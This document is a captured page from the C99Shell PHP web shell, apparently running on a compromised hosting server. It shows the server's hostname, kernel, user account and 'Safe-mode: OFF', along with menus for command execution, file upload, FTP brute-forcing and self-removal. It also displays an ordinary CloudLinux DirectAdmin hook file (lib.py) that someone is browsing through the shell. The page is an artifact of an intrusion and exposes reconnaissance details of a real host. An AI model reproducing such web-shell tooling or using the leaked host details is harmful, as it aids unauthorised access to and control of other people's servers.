!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/imunify360/venv/lib/python3.11/site-packages/clcommon/public_hooks/bundle/directadmin/   drwxr-xr-x
Free 293.9 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     lib.py (2.69 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# -*- coding: utf-8 -*-
# Copyright © Cloud Linux GmbH & Cloud Linux Software, Inc 2010-2018 All Rights Reserved
#
# Licensed under CLOUD LINUX LICENSE AGREEMENT
# http://cloudlinux.com/docs/LICENSE.TXT
#
import subprocess

import logging

from clcommon.public_hooks import (
    POST_MODIFY_USER,
    POST_MODIFY_DOMAIN,
    POST_MODIFY_ADMIN,
    PRE_MODIFY_USER
)

from clcommon.cpapi import cpinfo, is_admin
from clcommon.utils import is_user_present

ERR_NO_USER_FOUND = 'Unable to find system_user in hook env vars'

logger = logging.getLogger(__name__)


def domain_change_post(system_user, domain, new_domain):
    """
    Triggered on domain rename in DA
    """
    if system_user is None:
        logger.warning(ERR_NO_USER_FOUND)
        return 0
    return subprocess.call([
        POST_MODIFY_DOMAIN, 'modify',
        '--username', system_user,
        '--domain', domain,
        '--new-domain', new_domain, '--include-subdomains'])


def user_create_post(system_user):
    """
    Triggered after user/admin creation in directadmin
    """
    if system_user is None:
        logger.warning(ERR_NO_USER_FOUND)
        return 0

    exit_code = 0
    owner = cpinfo(cpuser=system_user, keyls=('reseller', ))[0][0]
    exit_code += subprocess.call([
        POST_MODIFY_USER, 'create',
        '--username', system_user, '--owner', owner])

    if is_admin(system_user):
        exit_code += subprocess.call([
            POST_MODIFY_ADMIN, 'create',
            '--name', system_user])
    return exit_code


def post_destroy_user(system_user, usertype):
    """
    Triggered after user modification in DA.
    """
    if system_user is None:
        logger.warning(ERR_NO_USER_FOUND)
        return 0

    exit_code = subprocess.call([
        POST_MODIFY_USER, 'delete', '--username', system_user])
    if usertype == 'admin':
        exit_code += subprocess.call([
            POST_MODIFY_ADMIN, 'delete',
            '--name', system_user])
    return exit_code


def user_destroy_pre(system_user, usertype):
    if system_user is None:
        logger.warning(ERR_NO_USER_FOUND)
        return 0

    if not is_user_present(system_user):
        logger.warning('User %s does not present in the system, skip hook', system_user)
        return 0

    return subprocess.call([
        PRE_MODIFY_USER, 'delete', '--username', system_user])

    # TODO: add if needed
    # if usertype == 'admin':
    #     subprocess.call([
    #         PRE_MODIFY_ADMIN, 'delete',
    #         '--name', system_user])


def user_restore_post(system_user):
    if system_user is None:
        logger.warning(ERR_NO_USER_FOUND)
        return 0

    return subprocess.call([
        POST_MODIFY_USER, 'restore',
        '--username', system_user])

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0925 ]--